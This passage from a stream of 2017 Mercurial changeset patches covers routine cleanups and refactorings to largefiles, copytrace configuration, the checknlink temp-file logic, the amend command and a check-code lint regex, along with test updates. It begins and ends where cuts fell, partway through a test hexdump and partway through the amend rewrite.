-  .hg/cache/rbc-revs-v1: size=112
+  0040: 73 65 64 20 62 79 20 62 72 61 6e 63 68 65 73 00 |sed by branches.|
+  0050: 6d 00 6d 64                                     |m.md|
+  .hg/cache/rbc-revs-v1: size=152
   0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0020: 00 00 00 00 00 00 00 00 d8 cb c6 1d 00 00 00 01 |................|
@@ -715,6 +874,9 @@
   0040: ee bb 94 44 00 00 00 00 5f 40 61 bb 00 00 00 00 |...D...._@a.....|
   0050: bf be 84 1b 00 00 00 00 d3 f1 63 45 80 00 00 00 |..........cE....|
   0060: e3 d4 9c 05 80 00 00 00 e2 3b 55 05 00 00 00 00 |.........;U.....|
+  0070: f8 94 c2 56 80 00 00 02 f3 44 76 37 00 00 00 04 |...V.....Dv7....|
+  0080: a5 8c a5 d3 00 00 00 04 df 34 3b 0d 00 00 00 04 |.........4;.....|
+  0090: c9 14 c9 9f 00 00 00 05                         |........|
 
 Test that cache files are created and grows correctly:
 
@@ -724,7 +886,7 @@
   $ f --size --hexdump .hg/cache/rbc-*
   .hg/cache/rbc-names-v1: size=1
   0000: 61                                              |a|
-  .hg/cache/rbc-revs-v1: size=112
+  .hg/cache/rbc-revs-v1: size=152
   0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0020: 00 00 00 00 00 00 00 00 d8 cb c6 1d 00 00 00 00 |................|
@@ -732,6 +894,9 @@
   0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+  0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+  0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+  0090: 00 00 00 00 00 00 00 00                         |........|
 
   $ cd ..
 
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1504244350 25200
#      Thu Aug 31 22:39:10 2017 -0700
# Node ID a9d8caf95941ff03466c7087f3d8ae92ebe61713
# Parent  abf91c4f960818dc06ef2e0b76ebbe54a285ce3c
largefiles: remove unused assignments from wrapfunction()

The return values from wrapfunction() were never used here. Using the
value is also a little tricky and wrappedfunction() should be
preferred, so let's just delete the assignments.

There's also a bunch of return values from wrapcommand() being
assigned to a variable here, but at least that value can be (and is
used after some of the assignments).

Differential Revision: https://phab.mercurial-scm.org/D618

diff --git a/hgext/largefiles/uisetup.py b/hgext/largefiles/uisetup.py
--- a/hgext/largefiles/uisetup.py
+++ b/hgext/largefiles/uisetup.py
@@ -53,8 +53,7 @@
 
     # The scmutil function is called both by the (trivial) addremove command,
     # and in the process of handling commit -A (issue3542)
-    entry = extensions.wrapfunction(scmutil, 'addremove',
-                                    overrides.scmutiladdremove)
+    extensions.wrapfunction(scmutil, 'addremove', overrides.scmutiladdremove)
     extensions.wrapfunction(cmdutil, 'add', overrides.cmdutiladd)
     extensions.wrapfunction(cmdutil, 'remove', overrides.cmdutilremove)
     extensions.wrapfunction(cmdutil, 'forget', overrides.cmdutilforget)
@@ -64,8 +63,8 @@
     # Subrepos call status function
     entry = extensions.wrapcommand(commands.table, 'status',
                                    overrides.overridestatus)
-    entry = extensions.wrapfunction(subrepo.hgsubrepo, 'status',
-                                    overrides.overridestatusfn)
+    extensions.wrapfunction(subrepo.hgsubrepo, 'status',
+                            overrides.overridestatusfn)
 
     entry = extensions.wrapcommand(commands.table, 'log',
                                    overrides.overridelog)
@@ -111,46 +110,41 @@
     pushopt = [('', 'lfrev', [],
                 _('upload largefiles for these revisions'), _('REV'))]
     entry[1].extend(pushopt)
-    entry = extensions.wrapfunction(exchange, 'pushoperation',
-                                    overrides.exchangepushoperation)
+    extensions.wrapfunction(exchange, 'pushoperation',
+                            overrides.exchangepushoperation)
 
     entry = extensions.wrapcommand(commands.table, 'clone',
                                    overrides.overrideclone)
     cloneopt = [('', 'all-largefiles', None,
                  _('download all versions of all largefiles'))]
     entry[1].extend(cloneopt)
-    entry = extensions.wrapfunction(hg, 'clone', overrides.hgclone)
-    entry = extensions.wrapfunction(hg, 'postshare', overrides.hgpostshare)
+    extensions.wrapfunction(hg, 'clone', overrides.hgclone)
+    extensions.wrapfunction(hg, 'postshare', overrides.hgpostshare)
 
     entry = extensions.wrapcommand(commands.table, 'cat',
                                    overrides.overridecat)
-    entry = extensions.wrapfunction(merge, '_checkunknownfile',
-                                    overrides.overridecheckunknownfile)
-    entry = extensions.wrapfunction(merge, 'calculateupdates',
-                                    overrides.overridecalculateupdates)
-    entry = extensions.wrapfunction(merge, 'recordupdates',
-                                    overrides.mergerecordupdates)
-    entry = extensions.wrapfunction(merge, 'update',
-                                    overrides.mergeupdate)
-    entry = extensions.wrapfunction(filemerge, '_filemerge',
-                                    overrides.overridefilemerge)
-    entry = extensions.wrapfunction(cmdutil, 'copy',
-                                    overrides.overridecopy)
+    extensions.wrapfunction(merge, '_checkunknownfile',
+                            overrides.overridecheckunknownfile)
+    extensions.wrapfunction(merge, 'calculateupdates',
+                            overrides.overridecalculateupdates)
+    extensions.wrapfunction(merge, 'recordupdates',
+                            overrides.mergerecordupdates)
+    extensions.wrapfunction(merge, 'update', overrides.mergeupdate)
+    extensions.wrapfunction(filemerge, '_filemerge',
+                            overrides.overridefilemerge)
+    extensions.wrapfunction(cmdutil, 'copy', overrides.overridecopy)
 
     # Summary calls dirty on the subrepos
-    entry = extensions.wrapfunction(subrepo.hgsubrepo, 'dirty',
-                                    overrides.overridedirty)
+    extensions.wrapfunction(subrepo.hgsubrepo, 'dirty', overrides.overridedirty)
 
-    entry = extensions.wrapfunction(cmdutil, 'revert',
-                                    overrides.overriderevert)
+    extensions.wrapfunction(cmdutil, 'revert', overrides.overriderevert)
 
     extensions.wrapcommand(commands.table, 'archive',
                            overrides.overridearchivecmd)
     extensions.wrapfunction(archival, 'archive', overrides.overridearchive)
     extensions.wrapfunction(subrepo.hgsubrepo, 'archive',
                             overrides.hgsubrepoarchive)
-    extensions.wrapfunction(webcommands, 'archive',
-                            overrides.hgwebarchive)
+    extensions.wrapfunction(webcommands, 'archive', overrides.hgwebarchive)
     extensions.wrapfunction(cmdutil, 'bailifchanged',
                             overrides.overridebailifchanged)
 
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504638242 25200
#      Tue Sep 05 12:04:02 2017 -0700
# Node ID cd38b83bfb2308c25deb48ec5452e0417d52e471
# Parent  a9d8caf95941ff03466c7087f3d8ae92ebe61713
filemerge: use fctx.write() in the internal:dump tool, instead of copy

This is slower but allows this tool to work with the "deferred writes"
milestone of in-memory merge.

The performance hit is not too noticiable since this only used for the :dump
merge tool during a conflict.

Differential Revision: https://phab.mercurial-scm.org/D617

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -468,7 +468,7 @@
     a = _workingpath(repo, fcd)
     fd = fcd.path()
 
-    util.copyfile(a, a + ".local")
+    util.writefile(a + ".local", fcd.decodeddata())
     repo.wwrite(fd + ".other", fco.data(), fco.flags())
     repo.wwrite(fd + ".base", fca.data(), fca.flags())
     return False, 1, False
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1504383739 -19800
#      Sun Sep 03 01:52:19 2017 +0530
# Node ID 26531db4647a295dd54e97c0e606f6a5624042ec
# Parent  cd38b83bfb2308c25deb48ec5452e0417d52e471
copytrace: replace experimental.disablecopytrace config with copytrace (BC)

This patch replaces experimental.disablecopytrace with experimental.copytrace.
Since the words does not means the same, the default value is also changed. Now
experimental.copytrace defaults to 'on'. The new value is not boolean value as
we will be now having two different algorithms (current one and heuristics one
to be imported from fbext) so we need this to be have more options than
booleans.

The old config option is not kept is completely replaced as that was under
experimental and we don't gurantee BC to experimental things.

.. bc::

   The config option for copytrace `experimental.disablecopytrace` is now
   replaced with `experimental.copytrace` which defaults to `on`. If you need to
   turn off copytracing, add `[experimental] copytrace = off` to your config.

Differential Revision: https://phab.mercurial-scm.org/D621

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -172,12 +172,12 @@
 coreconfigitem('experimental', 'clientcompressionengines',
     default=list,
 )
+coreconfigitem('experimental', 'copytrace',
+    default='on',
+)
 coreconfigitem('experimental', 'crecordtest',
     default=None,
 )
-coreconfigitem('experimental', 'disablecopytrace',
-    default=False,
-)
 coreconfigitem('experimental', 'editortmpinhg',
     default=False,
 )
diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -203,7 +203,7 @@
     return cm
 
 def _backwardrenames(a, b):
-    if a._repo.ui.configbool('experimental', 'disablecopytrace'):
+    if a._repo.ui.config('experimental', 'copytrace') == 'off':
         return {}
 
     # Even though we're not taking copies into account, 1:n rename situations
@@ -363,7 +363,7 @@
     # Copy trace disabling is explicitly below the node == p1 logic above
     # because the logic above is required for a simple copy to be kept across a
     # rebase.
-    if repo.ui.configbool('experimental', 'disablecopytrace'):
+    if repo.ui.config('experimental', 'copytrace') == 'off':
         return {}, {}, {}, {}, {}
 
     # In certain scenarios (e.g. graft, update or rebase), base can be
@@ -728,8 +728,8 @@
     '''
     exclude = {}
     if (skiprev is not None and
-        not repo.ui.configbool('experimental', 'disablecopytrace')):
-        # disablecopytrace skips this line, but not the entire function because
+        repo.ui.config('experimental', 'copytrace') != 'off'):
+        # copytrace='off' skips this line, but not the entire function because
         # the line below is O(size of the repo) during a rebase, while the rest
         # of the function is much faster (and is required for carrying copy
         # metadata across the rebase anyway).
diff --git a/tests/test-copy-move-merge.t b/tests/test-copy-move-merge.t
--- a/tests/test-copy-move-merge.t
+++ b/tests/test-copy-move-merge.t
@@ -81,7 +81,7 @@
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   saved backup bundle to $TESTTMP/t/.hg/strip-backup/550bd84c0cd3-fc575957-backup.hg (glob)
   $ hg up -qC 2
-  $ hg rebase --keep -d 1 -b 2 --config extensions.rebase= --config experimental.disablecopytrace=True --config ui.interactive=True << EOF
+  $ hg rebase --keep -d 1 -b 2 --config extensions.rebase= --config experimental.copytrace=off --config ui.interactive=True << EOF
   > c
   > EOF
   rebasing 2:add3f11052fa "other" (tip)
@@ -117,7 +117,7 @@
   |
   o  0 add a
   
-  $ hg rebase -d . -b 2 --config extensions.rebase= --config experimental.disablecopytrace=True
+  $ hg rebase -d . -b 2 --config extensions.rebase= --config experimental.copytrace=off
   rebasing 2:6adcf8c12e7d "copy b->x"
   saved backup bundle to $TESTTMP/copydisable/.hg/strip-backup/6adcf8c12e7d-ce4b3e75-rebase.hg (glob)
   $ hg up -q 3
@@ -150,7 +150,7 @@
   |/
   o  0 add a
   
-  $ hg rebase -d 2 -s 3 --config extensions.rebase= --config experimental.disablecopytrace=True
+  $ hg rebase -d 2 -s 3 --config extensions.rebase= --config experimental.copytrace=off
   rebasing 3:47e1a9e6273b "copy a->b (2)" (tip)
   saved backup bundle to $TESTTMP/copydisable3/.hg/strip-backup/47e1a9e6273b-2d099c59-rebase.hg (glob)
 
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1504386241 -19800
#      Sun Sep 03 02:34:01 2017 +0530
# Node ID b4b196092cc3121491e7c27f1cc500bd6f179033
# Parent  26531db4647a295dd54e97c0e606f6a5624042ec
copytrace: move the default copytracing algorithm in a new function

We are going to introduce a new fast heuristic based copytracing algorithm, so
lets make mergecopies the function which decides which algorithm to go with and
then calls the related function.

While I was here, I add a line in test-copy-move-merge.t saying its a test
related to the full copytracing algorithm.

Differential Revision: https://phab.mercurial-scm.org/D622

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -306,9 +306,13 @@
 
 def mergecopies(repo, c1, c2, base):
     """
-    The basic algorithm for copytracing. Copytracing is used in commands like
-    rebase, merge, unshelve, etc to merge files that were moved/ copied in one
-    merge parent and modified in another. For example:
+    The function calling different copytracing algorithms on the basis of config
+    which find moves and copies between context c1 and c2 that are relevant for
+    merging. 'base' will be used as the merge base.
+
+    Copytracing is used in commands like rebase, merge, unshelve, etc to merge
+    files that were moved/ copied in one merge parent and modified in another.
+    For example:
 
     o          ---> 4 another commit
     |
@@ -324,13 +328,6 @@
 
     ```other changed <file> which local deleted```
 
-    If copytrace is enabled, this function finds all the new files that were
-    added from merge base up to the top commit (here 4), and for each file it
-    checks if this file was copied from another file (a.txt in the above case).
-
-    Find moves and copies between context c1 and c2 that are relevant
-    for merging. 'base' will be used as the merge base.
-
     Returns five dicts: "copy", "movewithdir", "diverge", "renamedelete" and
     "dirmove".
 
@@ -360,12 +357,24 @@
     if c2.node() is None and c1.node() == repo.dirstate.p1():
         return repo.dirstate.copies(), {}, {}, {}, {}
 
+    copytracing = repo.ui.config('experimental', 'copytrace')
+
     # Copy trace disabling is explicitly below the node == p1 logic above
     # because the logic above is required for a simple copy to be kept across a
     # rebase.
-    if repo.ui.config('experimental', 'copytrace') == 'off':
+    if copytracing == 'off':
         return {}, {}, {}, {}, {}
+    else:
+        return _fullcopytracing(repo, c1, c2, base)
 
+def _fullcopytracing(repo, c1, c2, base):
+    """ The full copytracing algorithm which finds all the new files that were
+    added from merge base up to the top commit and for each file it checks if
+    this file was copied from another file.
+
+    This is pretty slow when a lot of changesets are involved but will track all
+    the copies.
+    """
     # In certain scenarios (e.g. graft, update or rebase), base can be
     # overridden We still need to know a real common ancestor in this case We
     # can't just compute _c1.ancestor(_c2) and compare it to ca, because there
diff --git a/tests/test-copy-move-merge.t b/tests/test-copy-move-merge.t
--- a/tests/test-copy-move-merge.t
+++ b/tests/test-copy-move-merge.t
@@ -1,3 +1,6 @@
+Test for the full copytracing algorithm
+=======================================
+
   $ hg init t
   $ cd t
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504310993 25200
#      Fri Sep 01 17:09:53 2017 -0700
# Node ID 1104718fb0907a4a841e6a24006c0c7fcb9caa9e
# Parent  b4b196092cc3121491e7c27f1cc500bd6f179033
checknlink: use a random temp file name for checking

Previously, if `.hg/store/00manifest.d.hgtmp1` exists, hg will copy the
entire `00manifest.d` every time when appending new manifest revisions.
That could happen if Mercurial or the machine crashed when `.hgtmp1` was
just created but not deleted yet.

This patch changes the fixed name to a random generated name. To be
consistent with D468, `~` suffix was used.

Differential Revision: https://phab.mercurial-scm.org/D611

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1457,21 +1457,14 @@
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
-    f1 = testfile + ".hgtmp1"
-    if os.path.lexists(f1):
-        return False
+    f1, f2, fd = None, None, None
     try:
-        posixfile(f1, 'w').close()
-    except IOError:
-        try:
-            os.unlink(f1)
-        except OSError:
-            pass
-        return False
-
-    f2 = testfile + ".hgtmp2"
-    fd = None
-    try:
+        fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
+                                  suffix='1~', dir=os.path.dirname(testfile))
+        os.close(fd)
+        fd = None
+        f2 = '%s2~' % f1[:-2]
+
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
@@ -1484,7 +1477,8 @@
             fd.close()
         for f in (f1, f2):
             try:
-                os.unlink(f)
+                if f is not None:
+                    os.unlink(f)
             except OSError:
                 pass
 
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1504719722 25200
#      Wed Sep 06 10:42:02 2017 -0700
# Node ID 4059b10d7490a53a7e3313d35f99144b4533e61d
# Parent  1104718fb0907a4a841e6a24006c0c7fcb9caa9e
amend: delete dead assignment to "newid"

Differential Revision: https://phab.mercurial-scm.org/D638

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3163,7 +3163,6 @@
             return old.node()
 
         ph = repo.ui.config('phases', 'new-commit', phases.draft)
-        newid = None
         try:
             if opts.get('secret'):
                 commitphase = 'secret'
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1504719673 25200
#      Wed Sep 06 10:41:13 2017 -0700
# Node ID 5dc6ac6555e63522f6804ffebfe4b3398a9d54f2
# Parent  4059b10d7490a53a7e3313d35f99144b4533e61d
amend: use context manager for config override

Differential Revision: https://phab.mercurial-scm.org/D639

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -35,7 +35,6 @@
     obsolete,
     patch,
     pathutil,
-    phases,
     pycompat,
     registrar,
     revlog,
@@ -3162,16 +3161,13 @@
             # This not what we expect from amend.
             return old.node()
 
-        ph = repo.ui.config('phases', 'new-commit', phases.draft)
-        try:
-            if opts.get('secret'):
-                commitphase = 'secret'
-            else:
-                commitphase = old.phase()
-            repo.ui.setconfig('phases', 'new-commit', commitphase, 'amend')
+        if opts.get('secret'):
+            commitphase = 'secret'
+        else:
+            commitphase = old.phase()
+        overrides = {('phases', 'new-commit'): commitphase}
+        with ui.configoverride(overrides, 'amend'):
             newid = repo.commitctx(new)
-        finally:
-            repo.ui.setconfig('phases', 'new-commit', ph, 'amend')
 
         # Reroute the working copy parent to the new changeset
         repo.setparents(newid, nullid)
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1504711374 25200
#      Wed Sep 06 08:22:54 2017 -0700
# Node ID ba6e14f9a2d83c21049a83b05f6b4aba8799eac0
# Parent  5dc6ac6555e63522f6804ffebfe4b3398a9d54f2
check-code: fix incorrect capitalization in camelcase regex

This was found internally at Google as part of a monorepo-wide
cleanup.

Differential Revision: https://phab.mercurial-scm.org/D637

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -262,7 +262,7 @@
     (r'(\S[ \t]+|^[ \t]+)\n', "trailing whitespace"),
 #    (r'^\s+[^_ \n][^_. \n]+_[^_\n]+\s*=',
 #     "don't use underbars in identifiers"),
-    (r'^\s+(self\.)?[A-za-z][a-z0-9]+[A-Z]\w* = ',
+    (r'^\s+(self\.)?[A-Za-z][a-z0-9]+[A-Z]\w* = ',
      "don't use camelcase in identifiers"),
     (r'^\s*(if|while|def|class|except|try)\s[^[\n]*:\s*[^\\n]#\s]+',
      "linebreak after :"),
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1504649205 25200
#      Tue Sep 05 15:06:45 2017 -0700
# Node ID 08346a8fa65f1bca8ed724a2d2006ce492293c88
# Parent  ba6e14f9a2d83c21049a83b05f6b4aba8799eac0
cleanup: rename "matchfn" to "match" where obviously a matcher

We usually call matchers either "match" or "m" and reserve "matchfn"
for functions.

Differential Revision: https://phab.mercurial-scm.org/D641

diff --git a/hgext/largefiles/lfcommands.py b/hgext/largefiles/lfcommands.py
--- a/hgext/largefiles/lfcommands.py
+++ b/hgext/largefiles/lfcommands.py
@@ -422,14 +422,13 @@
     return ([], [])
 
 def downloadlfiles(ui, repo, rev=None):
-    matchfn = scmutil.match(repo[None],
-                            [repo.wjoin(lfutil.shortname)], {})
+    match = scmutil.match(repo[None], [repo.wjoin(lfutil.shortname)], {})
     def prepare(ctx, fns):
         pass
     totalsuccess = 0
     totalmissing = 0
     if rev != []: # walkchangerevs on empty list would return all revs
-        for ctx in cmdutil.walkchangerevs(repo, matchfn, {'rev' : rev},
+        for ctx in cmdutil.walkchangerevs(repo, match, {'rev' : rev},
                                           prepare):
             success, missing = cachelfiles(ui, repo, ctx.node())
             totalsuccess += len(success)
diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -1664,15 +1664,15 @@
             changes = repo.changelog.read(top)
             man = repo.manifestlog[changes[0]].read()
             aaa = aa[:]
-            matchfn = scmutil.match(repo[None], pats, opts)
+            match1 = scmutil.match(repo[None], pats, opts)
             # in short mode, we only diff the files included in the
             # patch already plus specified files
             if opts.get('short'):
                 # if amending a patch, we start with existing
                 # files plus specified files - unfiltered
-                match = scmutil.matchfiles(repo, mm + aa + dd + matchfn.files())
+                match = scmutil.matchfiles(repo, mm + aa + dd + match1.files())
                 # filter with include/exclude options
-                matchfn = scmutil.match(repo[None], opts=opts)
+                match1 = scmutil.match(repo[None], opts=opts)
             else:
                 match = scmutil.matchall(repo)
             m, a, r, d = repo.status(match=match)[:4]
@@ -1713,8 +1713,8 @@
             a = list(aa)
 
             # create 'match' that includes the files to be recommitted.
-            # apply matchfn via repo.status to ensure correct case handling.
-            cm, ca, cr, cd = repo.status(patchparent, match=matchfn)[:4]
+            # apply match1 via repo.status to ensure correct case handling.
+            cm, ca, cr, cd = repo.status(patchparent, match=match1)[:4]
             allmatches = set(cm + ca + cr + cd)
             refreshchanges = [x.intersection(allmatches) for x in (mm, aa, dd)]
 
@@ -1764,7 +1764,7 @@
                 # file with mtime=0 so status can see it.
                 mm = []
                 for i in xrange(len(m) - 1, -1, -1):
-                    if not matchfn(m[i]):
+                    if not match1(m[i]):
                         mm.append(m[i])
                         del m[i]
                 for f in m:
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2001,19 +2001,19 @@
     regular display via changeset_printer() is done.
     """
     # options
-    matchfn = None
+    match = None
     if opts.get('patch') or opts.get('stat'):
-        matchfn = scmutil.matchall(repo)
+        match = scmutil.matchall(repo)
 
     if opts.get('template') == 'json':
-        return jsonchangeset(ui, repo, matchfn, opts, buffered)
+        return jsonchangeset(ui, repo, match, opts, buffered)
 
     spec = _lookuplogtemplate(ui, opts.get('template'), opts.get('style'))
 
     if not spec.ref and not spec.tmpl and not spec.mapfile:
-        return changeset_printer(ui, repo, matchfn, opts, buffered)
-
-    return changeset_templater(ui, repo, spec, matchfn, opts, buffered)
+        return changeset_printer(ui, repo, match, opts, buffered)
+
+    return changeset_templater(ui, repo, spec, match, opts, buffered)
 
 def showmarker(fm, marker, index=None):
     """utility function to display obsolescence marker in a readable way
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -477,9 +477,9 @@
             prefix = os.path.basename(repo.root) + '-%h'
 
     prefix = cmdutil.makefilename(repo, prefix, node)
-    matchfn = scmutil.match(ctx, [], opts)
+    match = scmutil.match(ctx, [], opts)
     archival.archive(repo, dest, node, kind, not opts.get('no_decode'),
-                     matchfn, prefix, subrepos=opts.get('subrepos'))
+                     match, prefix, subrepos=opts.get('subrepos'))
 
 @command('backout',
     [('', 'merge', None, _('merge with old dirstate parent after backout')),
@@ -2489,7 +2489,7 @@
 
     skip = {}
     revfiles = {}
-    matchfn = scmutil.match(repo[None], pats, opts)
+    match = scmutil.match(repo[None], pats, opts)
     found = False
     follow = opts.get('follow')
 
@@ -2530,7 +2530,7 @@
 
     ui.pager('grep')
     fm = ui.formatter('grep', opts)
-    for ctx in cmdutil.walkchangerevs(repo, matchfn, opts, prep):
+    for ctx in cmdutil.walkchangerevs(repo, match, opts, prep):
         rev = ctx.rev()
         parent = ctx.p1().rev()
         for fn in sorted(revfiles.get(rev, [])):
diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -1111,13 +1111,13 @@
 
     ctx = webutil.changectx(web.repo, req)
     pats = []
-    matchfn = scmutil.match(ctx, [])
+    match = scmutil.match(ctx, [])
     file = req.form.get('file', None)
     if file:
         pats = ['path:' + file[0]]
-        matchfn = scmutil.match(ctx, pats, default='path')
+        match = scmutil.match(ctx, pats, default='path')
         if pats:
-            files = [f for f in ctx.manifest().keys() if matchfn(f)]
+            files = [f for f in ctx.manifest().keys() if match(f)]
             if not files:
                 raise ErrorResponse(HTTP_NOT_FOUND,
                     'file(s) not found: %s' % file[0])
@@ -1132,7 +1132,7 @@
     req.respond(HTTP_OK, mimetype)
 
     archival.archive(web.repo, req, cnode, artype, prefix=name,
-                     matchfn=matchfn,
+                     matchfn=match,
                      subrepos=web.configbool("web", "archivesubrepos"))
     return []
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504727779 25200
#      Wed Sep 06 12:56:19 2017 -0700
# Node ID 6c5cdb02f2f91fab64090cbc5a661b1a79a538cd
# Parent  08346a8fa65f1bca8ed724a2d2006ce492293c88
checknlink: rename file object from 'fd' to 'fp'

Make it clear that `fp` (`file` object) is different from `fd` (low-level
file descriptor number).

Differential Revision: https://phab.mercurial-scm.org/D642

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1457,24 +1457,23 @@
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
-    f1, f2, fd = None, None, None
+    f1, f2, fp = None, None, None
     try:
         fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
                                   suffix='1~', dir=os.path.dirname(testfile))
         os.close(fd)
-        fd = None
         f2 = '%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
-        fd = posixfile(f2)
+        fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
-        if fd is not None:
-            fd.close()
+        if fp is not None:
+            fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1504294476 25200
#      Fri Sep 01 12:34:36 2017 -0700
# Node ID e8a7c1a0565ab583f93caaf263999760c078281a
# Parent  6c5cdb02f2f91fab64090cbc5a661b1a79a538cd
cmdutil: remove the redundant commit during amend

There was an extra commit made during the amend operation to track the
changes to the working copy. However, this logic was written a long time back
and newer API's make this extra commit redundant. Therefore, I am removing the
extra commit. After this change, I noticed that

  - Execution time of the cmdutil.amend improved by over 40%.
  - Execution time of "hg commit --amend" improved by over 20%.

Test Plan:
I ensured that the all the hg tests passed after the change. I had
to fix a few tests which were aware of the extra commit made during the amend.

Differential Revision: https://phab.mercurial-scm.org/D636

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3026,6 +3026,7 @@
     else:
         return f not in ctx2.manifest()
 
+# TODO: remove the commitfunc parameter because it is no longer used
 def amend(ui, repo, commitfunc, old, extra, pats, opts):
     # avoid cycle context -> subrepo -> cmdutil
     from . import context
@@ -3039,42 +3040,25 @@
     base = old.p1()
 
     with repo.wlock(), repo.lock(), repo.transaction('amend'):
-        # See if we got a message from -m or -l, if not, open the editor
-        # with the message of the changeset to amend
-        message = logmessage(ui, opts)
-        # ensure logfile does not conflict with later enforcement of the
-        # message. potential logfile content has been processed by
-        # `logmessage` anyway.
-        opts.pop('logfile')
-        # First, do a regular commit to record all changes in the working
-        # directory (if there are any)
-        ui.callhooks = False
-        activebookmark = repo._bookmarks.active
-        try:
-            repo._bookmarks.active = None
-            opts['message'] = 'temporary amend commit for %s' % old
-            node = commit(ui, repo, commitfunc, pats, opts)
-        finally:
-            repo._bookmarks.active = activebookmark
-            ui.callhooks = True
-        ctx = repo[node]
-
         # Participating changesets:
         #
-        # node/ctx o - new (intermediate) commit that contains changes
-        #          |   from working dir to go into amending commit
-        #          |   (or a workingctx if there were no changes)
+        # wctx     o - workingctx that contains changes from working copy
+        #          |   to go into amending commit
         #          |
         # old      o - changeset to amend
         #          |
         # base     o - first parent of the changeset to amend
+        wctx = repo[None]
 
         # Update extra dict from amended commit (e.g. to preserve graft
         # source)
         extra.update(old.extra())
 
-        # Also update it from the intermediate commit or from the wctx
-        extra.update(ctx.extra())
+        # Also update it from the from the wctx
+        extra.update(wctx.extra())
+
+        user = opts.get('user') or old.user()
+        date = opts.get('date') or old.date()
 
         if len(old.parents()) > 1:
             # ctx.files() isn't reliable for merges, so fall back to the
@@ -3084,30 +3068,47 @@
         else:
             files = set(old.files())
 
-        # Second, we use either the commit we just did, or if there were no
-        # changes the parent of the working directory as the version of the
-        # files in the final amend commit
-        if node:
-            ui.note(_('copying changeset %s to %s\n') % (ctx, base))
-
-            user = ctx.user()
-            date = ctx.date()
+        # add/remove the files to the working copy if the "addremove" option
+        # was specified.
+        matcher = scmutil.match(wctx, pats, opts)
+        if (opts.get('addremove')
+            and scmutil.addremove(repo, matcher, "", opts)):
+            raise error.Abort(
+                _("failed to mark all new/missing files as added/removed"))
+
+        filestoamend = set(f for f in wctx.files() if matcher(f))
+
+        changes = (len(filestoamend) > 0)
+        if changes:
             # Recompute copies (avoid recording a -> b -> a)
-            copied = copies.pathcopies(base, ctx)
+            copied = copies.pathcopies(base, wctx, matcher)
             if old.p2:
-                copied.update(copies.pathcopies(old.p2(), ctx))
+                copied.update(copies.pathcopies(old.p2(), wctx, matcher))
 
             # Prune files which were reverted by the updates: if old
-            # introduced file X and our intermediate commit, node,
-            # renamed that file, then those two files are the same and
+            # introduced file X and the file was renamed in the working
+            # copy, then those two files are the same and
             # we can discard X from our list of files. Likewise if X
             # was deleted, it's no longer relevant
-            files.update(ctx.files())
-            files = [f for f in files if not samefile(f, ctx, base)]
+            files.update(filestoamend)
+            files = [f for f in files if not samefile(f, wctx, base)]
 
             def filectxfn(repo, ctx_, path):
